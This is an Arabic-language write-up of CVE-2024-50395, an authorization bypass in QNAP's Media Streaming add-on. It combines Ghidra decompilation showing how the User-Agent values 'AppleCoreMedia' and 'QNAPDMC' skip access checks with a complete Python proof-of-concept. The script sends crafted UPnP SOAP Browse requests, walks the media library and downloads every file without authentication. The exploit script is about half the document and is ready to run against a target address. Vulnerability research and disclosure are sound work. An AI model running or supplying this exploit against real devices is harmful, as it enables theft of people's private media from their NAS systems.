
استغلال Python لـ CVE-2024-50395، وهو تجاوز تفويض في إضافة QNAP Media Streaming. يستخدم رؤوس User-Agent مصممة لتجاوز المصادقة وتصفح/تنزيل ملفات الوسائط عبر طلبات UPnP SOAP.
تم الإبلاغ عن ثغرة تجاوز تفويض عبر مفتاح يتحكم فيه المستخدم، تؤثر على إضافة Media Streaming. وإذا تم استغلالها، فقد تسمح الثغرة للمهاجمين على الشبكة المحلية بكسب الامتيازات. لقد قمنا بالفعل بإصلاح الثغرة في الإصدار التالي: Media Streaming add-on 500.1.1.6 ( 2024/08/02 ) وما بعده

الدالة FUN_001293f0 في Ghidra، والتي ربما تُسمى بدالة ParseHttpHeaders في الكود المصدري الأصلي، تقوم بتحليل بيانات ترويسات http من طلبات العميل.
تلك الدالة تقوم أيضًا بتحليل "User-Agent" والحصول على قيمتها.
iVar4 = strncasecmp((char *)__s,"User-Agent",10);
if (iVar4 == 0) {
pcVar6 = strstr((char *)__s,"Twonky");
if ((pcVar6 == (char *)0x0) &&
(pcVar6 = strstr((char *)__s,"twonky"), pcVar6 == (char *)0x0)) {
if (((local_138 == g_DefaultClientTypeId) && (uVar5 == 0)) ||
(lVar14 = strstrc(__s,"AppleCoreMedia",0xd), puVar9 = local_120,
lVar14 != 0)) {
ppuVar10 = __ctype_b_loc();
do {
puVar9 = puVar9 + 1;
} while ((*(byte *)((long)*ppuVar10 + (long)(char)*puVar9 * 2 + 1) &
0x20) != 0);
lVar11 = 0;
pcVar6 = *(char **)(client_type_patterns + 8);
lVar14 = client_type_patterns;
lVar18 = client_type_patterns;
while (pcVar6 != (char *)0x0) {
if (*(int *)(lVar14 + 0x10) == 1) {
if (*(int *)(lVar14 + 0x14) == 0) {
lVar14 = strstrc(puVar9,pcVar6,0xd);
lVar18 = client_type_patterns;
if (lVar14 != 0) {
pcVar6 = "user-agent [%s], found clientTypeId = %d\n";
puVar20 = (undefined *)0x0;
uVar22 = 5;
local_138 = *(int *)(client_type_patterns + lVar11);
lVar12 = (longlong)local_138;
uVar15 = 0x204;
local_174 = *(uint *)(lVar12 * 0x20 + client_type_mappings +
0x10);
goto LAB_00129ab1;
}
}
في ذلك الوقت، إذا كانت قيمة "User-Agent" هي "AppleCoreMedia"، يتم تنفيذ الأكواد أدناه.
lVar11 = 0;
pcVar6 = *(char **)(client_type_patterns + 8);
lVar14 = client_type_patterns;
lVar18 = client_type_patterns;
while (pcVar6 != (char *)0x0) {
if (*(int *)(lVar14 + 0x10) == 1) {
if (*(int *)(lVar14 + 0x14) == 0) {
lVar14 = strstrc(puVar9,pcVar6,0xd);
lVar18 = client_type_patterns;
if (lVar14 != 0) {
pcVar6 = "user-agent [%s], found clientTypeId = %d\n";
puVar20 = (undefined *)0x0;
uVar22 = 5;
local_138 = *(int *)(client_type_patterns + lVar11);
lVar12 = (longlong)local_138;
uVar15 = 0x204;
local_174 = *(uint *)(lVar12 * 0x20 + client_type_mappings +
0x10);
goto LAB_00129ab1;
}
}
ثم الانتقال إلى LAB_00129aba1
LAB_00129ab1:
myDebugUtilWrapperPrint
(uVar22,puVar20,"upnphttp.c",uVar15,"ParseHttpHeaders",pcVar6,puVa r9
,lVar12);
LAB_00129abb:
lVar14 = *(long *)(param_1 + 0x20);
uVar8 = (ulong)*(uint *)(param_1 + 0x30);
}
بعد ذلك، يتم تنفيذ الأكواد أدناه
LAB_00129627:
for (; (*__s != '\r' || (__s[1] != '\n')); __s = __s + 1) {
}
__s = __s + 2;
} while (__s < (uchar *)((int)uVar8 + lVar14));
}
if (local_138 < 0) {
local_138 = g_DefaultClientTypeId;
}
}
iVar4 = local_138;
pcVar6 = inet_ntoa((in_addr)*(in_addr_t *)(param_1 + 4));
myDebugUtilWrapperPrint
(5,&DAT_001682c3,"upnphttp.c",0x30f,"ParseHttpHeaders",
"finally device ip: %s found clientTypeId = %d\n",pcVar6,iVar4);
local_174 = local_174 | *(uint *)(param_1 + 0x88);
*(int *)(param_1 + 0x38) = local_138;
bVar25 = CARRY8((long)local_138 * 0x20,client_type_mappings);
ppbVar17 = (byte **)((long)local_138 * 0x20 + client_type_mappings);
bVar26 = ppbVar17 == (byte **)0x0;
*(uint *)(param_1 + 0x88) = local_174;
lVar14 = 8;
*(uint *)(param_1 + 0xa4) = local_130;
*(int *)(param_1 + 0xa8) = local_13c;
*(int *)(param_1 + 0xac) = local_134;
pbVar19 = *ppbVar17;
pbVar21 = (byte *)"AppleTV";
/*
omited...
*/
uVar15 = 0;
if ((local_174 & 0x100) == 0) goto LAB_001298c4;
ركّز على الكود التالي: uVar15 = 0; if ((local_174 & 0x100) == 0) goto LAB_001298c4;
إذا كانت قيمة User-Agent هي "AppleCoreMedia"، فيمكن تنفيذ هذا الكود.
لذلك تُرجع الدالة FUN_001293f0 القيمة 0.
يتم استدعاء تلك الدالة في FUN_001411f0، التي تعمل ****مثل دالة توجيه، وعندما تكون قيمة الإرجاع 0،
لا تنفذ FUN_001411f0 أي دوال ترسل رمز خطأ http 401. (”Deny Access”)
(ربما تُسمى الدالة FUN_001411f0 باسم ProcessHTTPSubscribe في الكود المصدري الأصلي.)
يتم تهيئة نوع العميل "QNAPDMC” في الدالة “InsertQNAPClientType”. (يتم استدعاء تلك الدالة في main)
وفي تلك الدالة، يتم تهيئة المتغير g_QNAPDMCClientTypeId.
عندما يستخدم عميل طريقة http POST، تكون دالة المعالجة الرئيسية هي FUN_0012ee50.
uVar21 = 1;
myDebugUtilWrapperPrint(5,0,"upnphttp.c",0x587,"ProcessHttpQuery_upnphttp","HTTP REQUEST: %.*s\n ")
;
/* DAT_001690a2 is "POST" */
lVar11 = 5;
pbVar13 = &DAT_001690a2;
pbVar14 = local_298;
do {
if (lVar11 == 0) break;
lVar11 = lVar11 + -1;
uVar19 = *pbVar13 < *pbVar14;
uVar21 = *pbVar13 == *pbVar14;
pbVar13 = pbVar13 + (ulong)bVar22 * -2 + 1;
pbVar14 = pbVar14 + (ulong)bVar22 * -2 + 1;
} while ((bool)uVar21);
if ((!(bool)uVar19 && !(bool)uVar21) == (bool)uVar19) {
param_1[0xd] = 2;
FUN_0012ee50(param_1);
goto exit;
}
إذا كانت ترويسة الطلب تحتوي على “Soapaction”، يتم تنفيذ الدالة ExecuteSoapAction.
(تم تعيين قيمة *(long *)(param_1 + 0x10) في FUN_001293f0 )
if ((int)(param_1[10] - param_1[0xc]) < (int)param_1[0xb]) {
param_1[3] = 1;
return (ulong)(param_1[10] - param_1[0xc]);
}
if (*(long *)(param_1 + 0x10) != 0) {
uVar2 = ExecuteSoapAction(param_1,*(long *)(param_1 + 0x10),param_1[0x12]);
return uVar2;
}
في ExecuteSoapAction، إذا كانت قيمة (*(int *)(param_1 + 0x38) هي نفس قيمة g_QNAPDMCClientTypeId، يمكننا تجاوز التفويض.
if ((*(int *)(param_1 + 0xac) != 0) && (*(int *)(param_1 + 0x38) != g_QNAPDMCClientTypeId)) {
if (n_lan_addr < 1) {
LAB_0014a27f:
pcVar6 = "Deny Access";
goto LAB_0014a3dd;
}
if (DAT_00398a90 != *(int *)(param_1 + 4)) {
puVar3 = &lan_addr;
do {
if (puVar3 == &lan_addr + (ulong)(n_lan_addr - 1) * 0x1c) goto LAB_0014a27f;
piVar1 = (int *)(puVar3 + 0x2c);
puVar3 = puVar3 + 0x1c;
} while (*piVar1 != *(int *)(param_1 + 4));
}
}
pcVar6 = strchr(param_2,0x23);
يتم تهيئة المتغير (*(int *)(param_1 + 0x38) في FUN_001293f0 باستخدام “User-Agent”.
لذا يمكننا تجاوز التفويض باستخدام ترويسة الطلب “User-Agent: AppleCoreMedia, User-Agent: QNAPDMC”.
#!/usr/bin/python3
# POC.py
import requests
import html, os, time
import xml.etree.ElementTree as ET
import argparse
from xml.dom.minidom import parseString
#from tqdm import tqdm
log = lambda x: print("\033[31m[+]" + "\033[37m"+x)
HOST = 'http://{0}:{1}'
session = requests.Session()
auth_bypass_header= {"User-Agent": "AppleCoreMedia"}
auth_post_bypass_header= {"User-Agent": "QNAPDMC"}
def makedirs(path):
if not os.path.exists(path):
os.makedirs(path)
#
# GET TARGET INFO
#
def get_rootDesc(sess:requests.Session):
res = sess.get(url=f"{HOST}/rootDesc.xml", headers=auth_bypass_header)
obj = parseString(html.unescape(res.text))
NAME = obj.getElementsByTagName('friendlyName')[0].firstChild.nodeValue
MODEL = obj.getElementsByTagName('av:MODEL')[0].firstChild.nodeValue
VERSION = obj.getElementsByTagName('av:VERSION')[0].firstChild.nodeValue
log(f"TARGET NAME: {NAME}")
log(f"TARGET MODEL: {MODEL}")
log(f"TARGET QTS VERSION: {VERSION}")
#
# This Function Search Directory And Download All Files
#
def exploit(sess:requests.Session):
header = auth_post_bypass_header.copy()
header['Soapaction'] = "urn:schemas-upnp-org:service:ContentDirectory:1:#Browse"
pay = """<?xml version="1.0" encoding="utf-8" standalone="yes"?>"""
pay += """<s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">"""
pay += """<s:Body><u:Browse xmlns:u="urn:schemas-upnp-org:service:ContentDirectory:{0}">"""
pay += """<ObjectID>{1}</ObjectID>"""
pay += """<BrowseFlag>BrowseDirectChildren</BrowseFlag>"""
pay += """</u:Browse></s:Body></s:Envelope>"""
res = sess.post(url=HOST, headers=header, data=pay.format(0, 0))
obj = parseString(html.unescape(res.text))
element = obj.getElementsByTagName('container')
keys1 = {}
for ee in element:
dir_name = ee.getElementsByTagName("dc:title")[0].firstChild.nodeValue
log(f"FIND: {dir_name}")
keys1[dir_name] = ee.getAttribute("id")
keys2 = []
for k,v in keys1.items():
res = sess.post(url=f"{HOST}", headers=header, data=pay.format(v, v))
obj = parseString(html.unescape(res.text))
element = obj.getElementsByTagName('container')
for ee in element:
dir_name = ee.getElementsByTagName("dc:title")[0].firstChild.nodeValue
#log(f"FIND: {dir_name}")
keys2.append([v, dir_name, ee.getAttribute("id")])
keys3 = []
for k in keys2:
res = sess.post(url=f"{HOST}", headers=header, data=pay.format(1, k[-1]))
obj = parseString(html.unescape(res.text))
element = obj.getElementsByTagName('container')
for ee in element:
file_name = ee.getElementsByTagName("dc:title")[0].firstChild.nodeValue
#log(f"FIND: {file_name}")
keys3.append([v, file_name, ee.getAttribute("id")])
keys4 = []
deps_key = []
for k in keys3:
res = sess.post(url=f"{HOST}", headers=header, data=pay.format(1, k[-1]))
obj = parseString(html.unescape(res.text))
element = obj.getElementsByTagName('item')
element2 = obj.getElementsByTagName('container')
for ee in element:
file_name = ee.getElementsByTagName("dc:title")[0].firstChild.nodeValue
#log(f"FIND: {file_name}")
url = ee.getElementsByTagName('res')[0].firstChild.nodeValue
if 'MediaItems' in url or "Resize" in url or "Transcode" in url:
keys4.append([v, file_name, url, url.split("ext=")[1]])
for ee in element2:
deps_key.append(ee.getAttribute("id"))
for k in deps_key:
res = sess.post(url=f"{HOST}", headers=header, data=pay.format(1, k))
obj = parseString(html.unescape(res.text))
element = obj.getElementsByTagName('item')
for ee in element:
file_name = ee.getElementsByTagName("dc:title")[0].firstChild.nodeValue
#log(f"FIND: {file_name}")
url = ee.getElementsByTagName('res')[0].firstChild.nodeValue
if 'MediaItems' in url or "Resize" in url or "Transcode" in url:
keys4.append([v, file_name, url, url.split("ext=")[1]])
makedirs('./Downloaded')
for k in keys4:
if "Transcode" in k[-2]:
k[-2] = k[-2].replace("Transcode", "MediaItems")
RETRY = []
for k in keys4:
URL = k[-2]
res = sess.get(url=URL, headers=auth_bypass_header)
if len(res.content) <= 0:
RETRY.append([k[1]+k[-1], k[-2]])
log(f'FAILED: {k[1]+k[-1]}')
continue
with open(f"./Downloaded/{k[1]+k[-1]}", 'wb') as f:
f.write(res.content)
log(f"SUCCESS DOWNLOAD FILE {k[1]+k[-1]}")
for rr in RETRY:
res = sess.head(url=rr[1], headers=auth_bypass_header)
print(rr[1])
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='')
parser.add_argument('--target', required=True, help='TRAGET ADDRESS')
parser.add_argument('--port', required=False, default='8200', help='TARGET PORT\ndefault value is 8200')
args = parser.parse_args()
HOST = HOST.format(args.target, args.port)
get_rootDesc(session)
exploit(session)